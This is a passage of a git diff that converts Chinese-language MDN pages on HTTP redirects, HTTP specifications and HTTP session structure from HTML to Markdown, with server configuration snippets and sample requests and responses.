    你并不想因此而使旧链接失效,因为它们会为你带来宝贵的用户(并且帮助优化你的 SEO),所以需要建立从旧链接到新链接的重定向映射。

    +HTTP 协议中重定向机制是应该优先采用的创建重定向映射的方式,但是有时候 Web 开发者对于服务器没有控制权,或者无法对其进行配置。针对这些特定的应用情景,Web 开发者可以在精心制作的 HTML 页面的 {{HTMLElement("head")}} 部分添加一个 {{HTMLElement("meta")}} 元素,并将其 {{htmlattrxref("http-equiv", "meta")}} 属性的值设置为 `refresh` 。当显示页面的时候,浏览器会检测该元素,然后跳转到指定的页面。 -
    -

    即便是这项技术可以同样应用于内部链接,但是应该尽量避免内部重定向映射。重定向机制会带来相当大的性能开销(额外的 HTTP 请求),所以如果你可以通过修复链接来避免的话,那么就应该将其修复。

    -
    +```html + + + +``` -

    对于不安全请求的临时响应

    +{{htmlattrxref("content")}} 属性的值开头是一个数字,指示浏览器在等待该数字表示的秒数之后再进行跳转。建议始终将其设置为 0 来获取更好的可访问性。 -

    不安全({{Glossary("safe", "Unsafe")}})请求会修改服务器端的状态,应该避免用户无意的重复操作。

    +显然,该方法仅适用于 HTML 页面(或类似的页面),然而并不能应用于图片或者其他类型的内容。 -

    通常,你并不想要你的用户重复发送 {{HTTPMethod("PUT")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}} 请求。假如你仅仅为该类请求返回响应的话,简单地点击刷新按钮就会(可能会有一个确认信息)导致请求的重复发送。

    +> **备注:** 注意这种机制会使浏览器的回退按钮失效:可以返回含有这个头部的页面,但是又会立即跳转。 -

    在这种情况下,服务器可以返回一个 {{HTTPStatus("303")}} (See Other) 响应,其中含有合适的响应信息。如果刷新按钮被点击的话,只会导致该页面被刷新,而不会重复提交不安全的请求。

    +### JavaScript 重定向机制 -

    对于耗时请求的临时响应

    +在 JavaScript 中,重定向机制的原理是设置 {{domxref("window.location")}} 的属性值,然后加载新的页面。 -

    一些请求的处理会需要比较长的时间,比如有时候 {{HTTPHeader("DELETE")}} 请求会被安排为稍后处理。在这种情况下,会返回一个 {{HTTPStatus("303")}} (See Other) 重定向响应,该响应链接到一个页面,表示请求的操作已经被列入计划,并且最终会通知用户操作的进展情况,或者允许用户将其取消。

    +```js +window.location = "http://example.com/"; +``` -

    在通用服务器中配置重定向

    +与 HTML 重定向机制类似,这种方式并不适用于所有类型的资源,并且显然只有在支持 JavaScript 的客户端上才能使用。另外一方面,它也提供了更多的可能性,比如在只有满足了特定的条件的情况下才可以触发重定向机制的场景。 -

    Apache

    +### 优先级 -

    重定向映射可以在服务器的配置文件中设置,也可以在每一个文件目录的 .htaccess 文件中设置。

    +由于存在上述三种 URL 重定向机制,那么在多种方法同时设定的情况下,哪种方法会首先起作用呢?优先级顺序如下: -

    mod_alias 模块提供了 RedirectRedirect_Match 两种指令来设置 {{HTTPStatus("302")}} 响应(默认值):

    +1. HTTP 协议的重定向机制永远最先触发,即便是在没有传送任何页面——也就没有页面被(客户端)读取——的情况下。 +2. HTML 的重定向机制 ({{HTMLElement("meta")}}) 会在 HTTP 协议重定向机制未设置的情况下触发。 +3. JavaScript 的重定向机制总是作为最后诉诸的手段,并且只有在客户端开启了 JavaScript 的情况下才起作用。 -
    <VirtualHost *:443>
    +任何情况下,只要有可能,就应该采用 HTTP 协议的重定向机制,而不要使用 {{HTMLElement("meta")}} 标签。假如开发人员修改了 HTTP 重定向映射而忘记修改 HTML 页面的重定向映射,那么二者就会不一致,最终结果或者出现无限循环,或者导致其他噩梦的发生。
    +
    +## 应用场景
    +
    +有以下几种应用场景可以使用重定向机制,但是需要注意应该尽可能地限制其使用数量,因为每一次重定向都会带来性能上的开销。
    +
    +### 域名别称
    +
    +理想情况下,一项资源只有一个访问位置,也就是只有一个 URL 。但是由于种种原因,需要为资源设定不同的名称(即不同的域名,例如带有和不带有 www 前缀的 URL,以及简短易记的 URL 等)。在这种情况下,实用的方法是将其重定向到那个实际的(标准的)URL,而不是复制资源。
    +
    +在以下几种情况下可以使用域名别称:
    +
    +- 扩大站点的用户覆盖面。
    +  - : 一个常见的场景是,假如站点位于 `www.example.com` 域名下,那么通过 `example.com `也应该可以访问到。这种情况下,可以建立从 `example.com` 的页面到 `www.example.com` 的重定向映射。此外还可以提供常见的同义词,或者该域名容易导致的拼写错误的域名别称。
    +- 迁移到另外一个域名。
    +  - : 例如,公司改名后,你希望用户在搜索旧名称的时候,依然可以访问到应用了新名称的站点。
    +- 强制使用 HTTPS 协议。
    +  - : 对于 HTTP 版本站点的请求会被重定向至采用了 HTTPS 协议的版本。
    +
    +### 保持链接有效
    +
    +当你重构 Web 站点的时候,资源的 URL 会发生改变。即便是你可以更新站点内部的链接来适应新的命名体系,但无法控制被外部资源使用的 URL 。
    +
    +你并不想因此而使旧链接失效,因为它们会为你带来宝贵的用户(并且帮助优化你的 SEO),所以需要建立从旧链接到新链接的重定向映射。
    +
    +> **备注:** 即便是这项技术可以同样应用于内部链接,但是应该尽量避免内部重定向映射。重定向机制会带来相当大的性能开销(额外的 HTTP 请求),所以如果你可以通过修复链接来避免的话,那么就应该将其修复。
    +
    +### 对于不安全请求的临时响应
    +
    +不安全({{Glossary("safe", "Unsafe")}})请求会修改服务器端的状态,应该避免用户无意的重复操作。
    +
    +通常,你并不想要你的用户重复发送 {{HTTPMethod("PUT")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}} 请求。假如你仅仅为该类请求返回响应的话,简单地点击刷新按钮就会(可能会有一个确认信息)导致请求的重复发送。
    +
    +在这种情况下,服务器可以返回一个 {{HTTPStatus("303")}} (See Other) 响应,其中含有合适的响应信息。如果刷新按钮被点击的话,只会导致该页面被刷新,而不会重复提交不安全的请求。
    +
    +### 对于耗时请求的临时响应
    +
    +一些请求的处理会需要比较长的时间,比如有时候 {{HTTPHeader("DELETE")}} 请求会被安排为稍后处理。在这种情况下,会返回一个 {{HTTPStatus("303")}} (See Other) 重定向响应,该响应链接到一个页面,表示请求的操作已经被列入计划,并且最终会通知用户操作的进展情况,或者允许用户将其取消。
    +
    +## 在通用服务器中配置重定向
    +
    +### Apache
    +
    +重定向映射可以在服务器的配置文件中设置,也可以在每一个文件目录的 .htaccess 文件中设置。
    +
    +[mod_alias](https://httpd.apache.org/docs/current/mod/mod_alias.html) 模块提供了 `Redirect` 和 `Redirect_Match` 两种指令来设置 {{HTTPStatus("302")}} 响应(默认值):
    +
    +```plain
    +
     	ServerName example.com
     	Redirect / https://www.example.com
    -</VirtualHost>
    -
    + +``` -

    URL https://example.com/ 会被重定向至 https://www.example.com/ ,URL 下的任何文件或目录也将重定向到该 URL(https://example.com/some-page 将重定向至 https://www.example.com/some-page)。

    +URL `https://example.com/` 会被重定向至 `https://www.example.com/` ,URL 下的任何文件或目录也将重定向到该 URL(`https://example.com/some-page` 将重定向至 `https://www.example.com/some-page`)。 -

    Redirect_Match 指令的功能与之类似,不同之处在于它可以通过正则表达式来指定一批受影响的 URL :

    +`Redirect_Match` 指令的功能与之类似,不同之处在于它可以通过[正则表达式](/zh-CN/docs/Glossary/Regular_expression)来指定一批受影响的 URL : -
    RedirectMatch ^/images/(.*)$ http://images.example.com/$1
    +```plain +RedirectMatch ^/images/(.*)$ http://images.example.com/$1 +``` -

    位于 images/ 文件夹下的所有文档都会被重定向至新的域名。

    +位于 `images/` 文件夹下的所有文档都会被重定向至新的域名。 -

    如果你不想要设置临时跳转,那么可是使用额外的参数(使用 HTTP 状态码或者 permanent 关键字)来进行设置:

    +如果你不想要设置临时跳转,那么可是使用额外的参数(使用 HTTP 状态码或者 permanent 关键字)来进行设置: -
    Redirect permanent / https://www.example.com
    +```plain
    +Redirect permanent / https://www.example.com
     # …acts the same as:
    -Redirect 301 / https://www.example.com
    +Redirect 301 / https://www.example.com +``` -

    mod_rewrite 模块也可以用来设置重定向映射。它应用起来更灵活,但也更加复杂。

    +[mod_rewrite](http://httpd.apache.org/docs/current/mod/mod_rewrite.html) 模块也可以用来设置重定向映射。它应用起来更灵活,但也更加复杂。 -

    Nginx

    +### Nginx -

    在 Nginx 中,你可以创建一个服务器模块来进行重定向设置:

    +在 Nginx 中,你可以创建一个服务器模块来进行重定向设置: -
    server {
    +```plain
    +server {
     	listen 80;
     	server_name example.com;
     	return 301 $scheme://www.example.com$request_uri;
    -}
    +} +``` -

    可以使用 rewrite 指令来针对一个文件目录或者一部分页面应用重定向设置:

    +可以使用 rewrite 指令来针对一个文件目录或者一部分页面应用重定向设置: -
    rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
    +```plain
    +rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
     rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
    -
    +``` -

    IIS

    +### IIS -

    在 IIS 中,你可以使用 <httpRedirect> 元素来配置重定向映射。

    +在 IIS 中,你可以使用 [``](https://www.iis.net/configreference/system.webserver/httpredirect) 元素来配置重定向映射。 -

    重定向死锁(循环)

    +## 重定向死锁(循环) -

    当后续的重定向路径重复之前的路径的时候,重定向循环就产生了。换句话说,就是陷入了无限循环当中,不会有一个最终的页面返回。

    +当后续的重定向路径重复之前的路径的时候,重定向循环就产生了。换句话说,就是陷入了无限循环当中,不会有一个最终的页面返回。 -

    大多数情况下,这属于服务器端错误。如果服务器检测不到,就会返回 {{HTTPStatus("500")}} Internal Server Error 。假如你在修改了服务器配置不久就出现了这个问题,八成是遇到了重定向循环。

    +大多数情况下,这属于服务器端错误。如果服务器检测不到,就会返回 {{HTTPStatus("500")}} `Internal Server Error` 。假如你在修改了服务器配置不久就出现了这个问题,八成是遇到了重定向循环。 -

    有时候,服务器端无法对其进行检测:重定向循环发生于多台服务器之间,对于每一台服务器来说,都无法获得一个全景图。在这种情况下,浏览器会负责进行检测,然后返回错误信息。Firefox 会呈现如下信息:

    +有时候,服务器端无法对其进行检测:重定向循环发生于多台服务器之间,对于每一台服务器来说,都无法获得一个全景图。在这种情况下,浏览器会负责进行检测,然后返回错误信息。Firefox 会呈现如下信息: -
    Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
    +```plain
    +Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
     Firefox 检测到服务器正在试图将请求进行重定向,而这种重定向永远不会完结。
    -
    +``` -

    而 Chrome 则会呈现如下信息:

    +而 Chrome 则会呈现如下信息: -
    This Webpage has a redirect loop
    +```plain
    +This Webpage has a redirect loop
     本页面包含有重定向循环。
    -
    +``` -

    无论哪个场景,用户对此都无能为力 (除非客户端发生突变,比如说缓存或者 Cookie 不匹配)

    +无论哪个场景,用户对此都无能为力 (除非客户端发生突变,比如说缓存或者 Cookie 不匹配) -

    避免重定向循环非常重要,因为它会完全毁掉用户的体验。

    +避免重定向循环非常重要,因为它会完全毁掉用户的体验。 diff --git a/files/zh-cn/web/http/resources_and_specifications/index.md b/files/zh-cn/web/http/resources_and_specifications/index.md index 20e18a9aa260ae..3d3474fdec809b 100644 --- a/files/zh-cn/web/http/resources_and_specifications/index.md +++ b/files/zh-cn/web/http/resources_and_specifications/index.md @@ -3,263 +3,56 @@ title: HTTP 资源与规范 slug: Web/HTTP/Resources_and_specifications translation_of: Web/HTTP/Resources_and_specifications --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 协议于 20 世纪 90 年代初期被规范化。得益于其扩展性,该规范至今又添加了大量的补充内容。这些增补规范文档散落在网络的不同位置。本文列出了与 HTTP 协议相关的规范文档。

    +HTTP 协议于 20 世纪 90 年代初期被规范化。得益于其扩展性,该规范至今又添加了大量的补充内容。这些增补规范文档散落在网络的不同位置。本文列出了与 HTTP 协议相关的规范文档。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    规范标题状态
    {{rfc(7230)}}超文本传输协议(HTTP/1.1):报文格式与路由建议标准
    {{rfc(7231)}}超文本传输协议(HTTP/1.1):语义与内容建议标准
    {{rfc(7232)}}超文本传输协议(HTTP/1.1):条件请求建议标准
    {{rfc(7233)}}超文本传输协议(HTTP/1.1):范围请求建议标准
    {{rfc(7234)}}超文本传输协议(HTTP/1.1):缓存建议标准
    {{rfc(5861)}}针对陈旧内容的 HTTP 缓存控制扩展信息参考
    {{rfc(8246)}}不可变的 HTTP 响应建议标准
    {{rfc(7235)}}超文本传输协议(HTTP/1.1):认证建议标准
    {{rfc(6265)}}HTTP 状态控制机制:定义 Cookies建议标准
    Draft specCookie 前缀IETF 草案
    Draft spec同源 CookiesIETF 草案
    Draft spec反对非安全的源站对安全 cookies 进行修改IETF 草案
    {{rfc(2145)}}HTTP 版本号的使用与解释信息参考
    {{rfc(6585)}}扩展的 HTTP 状态码建议标准
    {{rfc(7538)}}超文本传输协议的 308 状态码(永久重定向)建议标准
    {{rfc(7725)}}用于报告法律限制的 HTTP 状态码即将成为标准
    {{rfc(2397)}}URL 的“data“方案建议标准
    {{rfc(3986)}}统一资源定位符(URI):通用语法因特网标准
    {{rfc(5988)}}网络链接
    - 定义了 {{HTTPHeader("Link")}} 首部字段
    建议标准
    Experimental spec超文本传输协议(HTTP))的 Keep-Alive 首部字段信息参考(已过期)
    Draft specHTTP 客户端提示IETF 草案
    {{rfc(7578)}}从表单中返回数据:multipart/form-data建议标准
    {{rfc(6266)}}在超文本传输协议(HTTP)中使用 Content-Disposition 首部字段建议标准
    {{rfc(2183)}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
    - Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.
    建议标准
    {{rfc(7239)}}前向 HTTP 扩展建议标准
    {{rfc(6455)}}WebSocket 协议建议标准
    {{rfc(5246)}}安全传输层(TLS)协议 1.2 版本
    - 该规范已经被后续 RFC 文档进行了修改,不过这些修改不会对 HTTP 协议本身产生效力。
    建议标准
    Draft spec安全传输层(TLS)协议 1.3 版本
    - 该版本就绪之后,将取代之前的 1.2 版本
    IETF 草案
    {{rfc(2817)}}在 HTTP/1.1 中进行 TLS 升级建议标准
    {{rfc(7540)}}超文本传输协议版本 2(HTTP/2)建议标准
    {{rfc(7541)}}HPACK:对 HTTP/2 的首部进行压缩即将成为标准
    {{rfc(7838)}}HTTP 替代服务即将成为标准
    {{rfc(7301)}}对安全传输层(TLS)的应用层协议的协商的扩展
    - 用于在传输 HTTP/2 报文时进行协商,以减少一对额外的请求/响应
    建议标准
    {{rfc(6454)}}网络源站的概念建议标准
    Fetch跨源资源共享实时标准
    {{rfc(7034)}}HTTP 首部字段 X-Frame-Options信息参考
    {{rfc(6797)}}HTTP 严格安全传输(HSTS)建议标准
    Upgrade Insecure Requests对不安全的请求进行升级推荐候选
    Content Security Policy 1.0内容安全策略 1.0 版本。CSP 1.1 与 CSP 3.0 并未扩展 HTTP 协议标准已废弃
    Microsoft document -

    指定传统文档模式

    - -

    定义 X-UA-Compatible 规范

    -
    注记
    {{rfc(5689)}}HTTP 拓展之 Web 分布式创作与版本控制 (WebDAV)
    - 这些 Web 上的拓展,与 CardDAV 和 CalDAV 一起超出了 Web 上的 HTTP 的范围。当下应用的现代 API 使用了 RESTful 的接口。
    建议标准
    {{rfc(2324)}}超文本咖啡壶控制协议(HTCPCP/1.0)愚人节玩笑
    {{rfc(7168)}}超文本咖啡壶控制协议的茶壶扩展(HTCPCP-TEA)愚人节玩笑
    HTML Living StandardHTML。针对服务端发送的事件定义了 HTTP 扩展实时标准
    Tracking Preference ExpressionDNT 首部字段编辑草案/推荐候选
    Reporting APIReport-To 首部字段草案
    Draft specExpect-CT 拓展于 HTTPIETF 草案
    +| 规范 | 标题 | 状态 | +| ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | +| {{rfc(7230)}} | 超文本传输协议(HTTP/1.1):报文格式与路由 | 建议标准 | +| {{rfc(7231)}} | 超文本传输协议(HTTP/1.1):语义与内容 | 建议标准 | +| {{rfc(7232)}} | 超文本传输协议(HTTP/1.1):条件请求 | 建议标准 | +| {{rfc(7233)}} | 超文本传输协议(HTTP/1.1):范围请求 | 建议标准 | +| {{rfc(7234)}} | 超文本传输协议(HTTP/1.1):缓存 | 建议标准 | +| {{rfc(5861)}} | 针对陈旧内容的 HTTP 缓存控制扩展 | 信息参考 | +| {{rfc(8246)}} | 不可变的 HTTP 响应 | 建议标准 | +| {{rfc(7235)}} | 超文本传输协议(HTTP/1.1):认证 | 建议标准 | +| {{rfc(6265)}} | HTTP 状态控制机制:定义 Cookies | 建议标准 | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) | Cookie 前缀 | IETF 草案 | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) | 同源 Cookies | IETF 草案 | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01) | 反对非安全的源站对安全 cookies 进行修改 | IETF 草案 | +| {{rfc(2145)}} | HTTP 版本号的使用与解释 | 信息参考 | +| {{rfc(6585)}} | 扩展的 HTTP 状态码 | 建议标准 | +| {{rfc(7538)}} | 超文本传输协议的 308 状态码(永久重定向) | 建议标准 | +| {{rfc(7725)}} | 用于报告法律限制的 HTTP 状态码 | 即将成为标准 | +| {{rfc(2397)}} | URL 的“data“方案 | 建议标准 | +| {{rfc(3986)}} | 统一资源定位符(URI):通用语法 | 因特网标准 | +| {{rfc(5988)}} | 网络链接 _定义了 {{HTTPHeader("Link")}} 首部字段_ | 建议标准 | +| [Experimental spec](https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html) | 超文本传输协议(HTTP))的 Keep-Alive 首部字段 | 信息参考(已过期) | +| [Draft spec](http://httpwg.org/http-extensions/client-hints.html) | HTTP 客户端提示 | IETF 草案 | +| {{rfc(7578)}} | 从表单中返回数据:multipart/form-data | 建议标准 | +| {{rfc(6266)}} | 在超文本传输协议(HTTP)中使用 Content-Disposition 首部字段 | 建议标准 | +| {{rfc(2183)}} | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field _Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages._ | 建议标准 | +| {{rfc(7239)}} | 前向 HTTP 扩展 | 建议标准 | +| {{rfc(6455)}} | WebSocket 协议 | 建议标准 | +| {{rfc(5246)}} | 安全传输层(TLS)协议 1.2 版本 _该规范已经被后续 RFC 文档进行了修改,不过这些修改不会对 HTTP 协议本身产生效力。_ | 建议标准 | +| [Draft spec]() | 安全传输层(TLS)协议 1.3 版本 _该版本就绪之后,将取代之前的 1.2 版本_ | IETF 草案 | +| {{rfc(2817)}} | 在 HTTP/1.1 中进行 TLS 升级 | 建议标准 | +| {{rfc(7540)}} | 超文本传输协议版本 2(HTTP/2) | 建议标准 | +| {{rfc(7541)}} | HPACK:对 HTTP/2 的首部进行压缩 | 即将成为标准 | +| {{rfc(7838)}} | HTTP 替代服务 | 即将成为标准 | +| {{rfc(7301)}} | 对安全传输层(TLS)的应用层协议的协商的扩展 _用于在传输 HTTP/2 报文时进行协商,以减少一对额外的请求/响应_ | 建议标准 | +| {{rfc(6454)}} | 网络源站的概念 | 建议标准 | +| [Fetch](https://fetch.spec.whatwg.org/#cors-protocol) | 跨源资源共享 | 实时标准 | +| {{rfc(7034)}} | HTTP 首部字段 X-Frame-Options | 信息参考 | +| {{rfc(6797)}} | HTTP 严格安全传输(HSTS) | 建议标准 | +| [Upgrade Insecure Requests](https://w3c.github.io/webappsec-upgrade-insecure-requests/) | 对不安全的请求进行升级 | 推荐候选 | +| [Content Security Policy 1.0](https://www.w3.org/TR/CSP1/) | 内容安全策略 1.0 版本。_CSP 1.1 与 CSP 3.0 并未扩展 HTTP 协议标准_ | 已废弃 | +| [Microsoft document]() | _指定传统文档模式定义 X-UA-Compatible 规范_ | 注记 | +| {{rfc(5689)}} | HTTP 拓展之 Web 分布式创作与版本控制 (WebDAV) _这些 Web 上的拓展,与 CardDAV 和 CalDAV 一起超出了 Web 上的 HTTP 的范围。当下应用的现代 API 使用了 RESTful 的接口。_ | 建议标准 | +| {{rfc(2324)}} | 超文本咖啡壶控制协议(HTCPCP/1.0) | 愚人节玩笑 | +| {{rfc(7168)}} | 超文本咖啡壶控制协议的茶壶扩展(HTCPCP-TEA) | 愚人节玩笑 | +| [HTML Living Standard](https://html.spec.whatwg.org/multipage/) | HTML。_针对服务端发送的事件定义了 HTTP 扩展_ | 实时标准 | +| [Tracking Preference Expression](https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html) | DNT 首部字段 | 编辑草案/推荐候选 | +| [Reporting API](http://wicg.github.io/reporting/) | `Report-To` 首部字段 | 草案 | +| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01) | Expect-CT 拓展于 HTTP | IETF 草案 | diff --git a/files/zh-cn/web/http/session/index.md b/files/zh-cn/web/http/session/index.md index fbb2b1097a4de4..cbd80c9b772995 100644 --- a/files/zh-cn/web/http/session/index.md +++ b/files/zh-cn/web/http/session/index.md @@ -5,87 +5,80 @@ tags: - HTTP translation_of: Web/HTTP/Session --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    在像 HTTP 这样的 Client-Server(客户端 - 服务器)协议中,会话分为三个阶段:

    +在像 HTTP 这样的 Client-Server(客户端 - 服务器)协议中,会话分为三个阶段: -
      -
    1. 客户端建立一条 TCP 连接(如果传输层不是 TCP,也可以是其他适合的连接)。
    2. -
    3. 客户端发送请求并等待应答。
    4. -
    5. 服务器处理请求并送回应答,回应包括一个状态码和对应的数据。
    6. -
    +1. 客户端建立一条 TCP 连接(如果传输层不是 TCP,也可以是其他适合的连接)。 +2. 客户端发送请求并等待应答。 +3. 服务器处理请求并送回应答,回应包括一个状态码和对应的数据。 -

    从 HTTP/1.1 开始,连接在完成第三阶段后不再关闭,客户端可以再次发起新的请求。这意味着第二步和第三步可以连续进行数次。

    +从 HTTP/1.1 开始,连接在完成第三阶段后不再关闭,客户端可以再次发起新的请求。这意味着第二步和第三步可以连续进行数次。 -

    建立连接

    +## 建立连接 -

    在客户端 - 服务器协议中,连接是由客户端发起建立的。在 HTTP 中打开连接意味着在底层传输层启动连接,通常是 TCP。

    +在客户端 - 服务器协议中,连接是由客户端发起建立的。在 HTTP 中打开连接意味着在底层传输层启动连接,通常是 TCP。 -

    使用 TCP 时,HTTP 服务器的默认端口号是 80,另外还有 8000 和 8080 也很常用。页面的 URL 会包含域名和端口号,但当端口号为 80 时可以省略。前往 标识互联网上的内容 获取更多内容。

    +使用 TCP 时,HTTP 服务器的默认端口号是 80,另外还有 8000 和 8080 也很常用。页面的 URL 会包含域名和端口号,但当端口号为 80 时可以省略。前往 [标识互联网上的内容](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) 获取更多内容。 -
    注意: 客户端 - 服务器模型不允许服务器在没有显式请求时发送数据给客户端。为了解决这个问题,Web 开发者们使用了许多技术:例如,使用 {{domxref("XMLHTTPRequest")}} 或 {{domxref("Fetch")}} API 周期性地请求服务器,使用 HTML WebSockets API,或其他类似协议。
    +> **备注:** 客户端 - 服务器模型不允许服务器在没有显式请求时发送数据给客户端。为了解决这个问题,Web 开发者们使用了许多技术:例如,使用 {{domxref("XMLHTTPRequest")}} 或 {{domxref("Fetch")}} API 周期性地请求服务器,使用 HTML [WebSockets API](/en/WebSockets),或其他类似协议。 -

    发送客户端请求

    +## 发送客户端请求 -

    一旦连接建立,用户代理就可以发送请求 (用户代理通常是 Web 浏览器,但也可以是其他的(例如爬虫)。客户端请求由一系列文本指令组成,并使用 CRLF 分隔,它们被划分为三个块:

    +一旦连接建立,用户代理就可以发送请求 (用户代理通常是 Web 浏览器,但也可以是其他的(例如爬虫)。客户端请求由一系列文本指令组成,并使用 CRLF 分隔,它们被划分为三个块: -
      -
    1. 第一行包括请求方法及请求参数: -
        -
      • 文档路径,不包括协议和域名的绝对路径 URL
      • -
      • 使用的 HTTP 协议版本
      • -
      -
    2. -
    3. 接下来的行每一行都表示一个 HTTP 首部,为服务器提供关于所需数据的信息(例如语言,或 MIME 类型),或是一些改变请求行为的数据(例如当数据已经被缓存,就不再应答)。这些 HTTP 首部组成以一个空行结束的一个块。
    4. -
    5. 最后一块是可选数据块,包含更多数据,主要被 POST 方法所使用。
    6. -
    +1. 第一行包括请求方法及请求参数: -

    请求示例

    + - 文档路径,不包括协议和域名的绝对路径 URL + - 使用的 HTTP 协议版本 -

    访问 developer.mozilla.org 的根页面,即 http://developer.mozilla.org/,并告诉服务器用户代理倾向于该页面使用法语展示:

    +2. 接下来的行每一行都表示一个 HTTP 首部,为服务器提供关于所需数据的信息(例如语言,或 MIME 类型),或是一些改变请求行为的数据(例如当数据已经被缓存,就不再应答)。这些 HTTP 首部组成以一个空行结束的一个块。 +3. 最后一块是可选数据块,包含更多数据,主要被 POST 方法所使用。 -
    GET / HTTP/1.1
    +### 请求示例
    +
    +访问 developer.mozilla.org 的根页面,即 [http://developer.mozilla.org/](/),并告诉服务器用户代理倾向于该页面使用法语展示:
    +
    +```plain
    +GET / HTTP/1.1
     Host: developer.mozilla.org
     Accept-Language: fr
    +```
     
    -
    - -

    注意最后的空行,它把首部与数据块分隔开。由于在 HTTP 首部中没有 Content-Length,数据块是空的,所以服务器可以在收到代表首部结束的空行后就开始处理请求。

    +注意最后的空行,它把首部与数据块分隔开。由于在 HTTP 首部中没有 `Content-Length`,数据块是空的,所以服务器可以在收到代表首部结束的空行后就开始处理请求。 -

    例如,发送表单的结果:

    +例如,发送表单的结果: -
    POST /contact_form.php HTTP/1.1
    +```plain
    +POST /contact_form.php HTTP/1.1
     Host: developer.mozilla.org
     Content-Length: 64
     Content-Type: application/x-www-form-urlencoded
     
    -name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
    -
    +name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue +``` -

    请求方法

    +### 请求方法 -

    HTTP 定义了一组 请求方法 用来指定对目标资源的行为。它们一般是名词,但这些请求方法有时会被叫做 HTTP 动词。最常用的请求方法是 GETPOST

    +HTTP 定义了一组 [请求方法](/zh-CN/docs/Web/HTTP/Methods) 用来指定对目标资源的行为。它们一般是名词,但这些请求方法有时会被叫做 HTTP 动词。最常用的请求方法是 `GET` 和 `POST`: -
      -
    • {{HTTPMethod("GET")}} 方法请求指定的资源。GET 请求应该只被用于获取数据。
    • -
    • {{HTTPMethod("POST")}} 方法向服务器发送数据,因此会改变服务器状态。这个方法常在 HTML 表单 中使用。
    • -
    +- {{HTTPMethod("GET")}} 方法请求指定的资源。`GET` 请求应该只被用于获取数据。 +- {{HTTPMethod("POST")}} 方法向服务器发送数据,因此会改变服务器状态。这个方法常在 [HTML 表单](/zh-CN/docs/Web/Guide/HTML/Forms) 中使用。 -

    服务器响应结构

    +## 服务器响应结构 -

    当收到用户代理发送的请求后,Web 服务器就会处理它,并最终送回一个响应。与客户端请求很类似,服务器响应由一系列文本指令组成,并使用 CRLF 分隔,它们被划分为三个不同的块:

    +当收到用户代理发送的请求后,Web 服务器就会处理它,并最终送回一个响应。与客户端请求很类似,服务器响应由一系列文本指令组成,并使用 CRLF 分隔,它们被划分为三个不同的块: -
      -
    1. 第一行是 状态行包括使用的 HTTP 协议版本,状态码和一个状态描述(可读描述文本)。
    2. -
    3. 接下来每一行都表示一个 HTTP 首部,为客户端提供关于所发送数据的一些信息(如类型,数据大小,使用的压缩算法,缓存指示)。与客户端请求的头部块类似,这些 HTTP 首部组成一个块,并以一个空行结束。
    4. -
    5. 最后一块是数据块,包含了响应的数据(如果有的话)。
    6. -
    +1. 第一行是 *`状态行`,*包括使用的 HTTP 协议版本,状态码和一个状态描述(可读描述文本)。 +2. 接下来每一行都表示一个 HTTP 首部,为客户端提供关于所发送数据的一些信息(如类型,数据大小,使用的压缩算法,缓存指示)。与客户端请求的头部块类似,这些 HTTP 首部组成一个块,并以一个空行结束。 +3. 最后一块是数据块,包含了响应的数据(如果有的话)。 -

    响应示例

    +### 响应示例 -

    成功的网页响应:

    +成功的网页响应: -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Date: Sat, 09 Oct 2010 14:28:02 GMT
     Server: Apache
     Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
    @@ -94,13 +87,13 @@ Accept-Ranges: bytes
     Content-Length: 29769
     Content-Type: text/html
     
    -<!DOCTYPE html... (这里是 29769 字节的网页 HTML 源代码)
    +
    +请求资源已被永久移动的网页响应:
     
    -

    请求资源已被永久移动的网页响应:

    - -
    HTTP/1.1 301 Moved Permanently
    +```plain
    +HTTP/1.1 301 Moved Permanently
     Server: Apache/2.2.3 (Red Hat)
     Content-Type: text/html; charset=iso-8859-1
     Date: Sat, 09 Oct 2010 14:30:24 GMT
    @@ -111,23 +104,23 @@ Via: Moz-Cache-zlb05
     Connection: Keep-Alive
     X-Cache-Info: caching
     X-Cache-Info: caching
    -Content-Length: 325 (如果用户代理无法转到新地址,就显示一个默认页面)
    -
    -<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    -<html><head>
    -<title>301 Moved Permanently</title>
    -</head><body>
    -<h1>Moved Permanently</h1>
    -<p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p>
    -<hr>
    -<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>
    -</body></html>
    -
    -
    - -

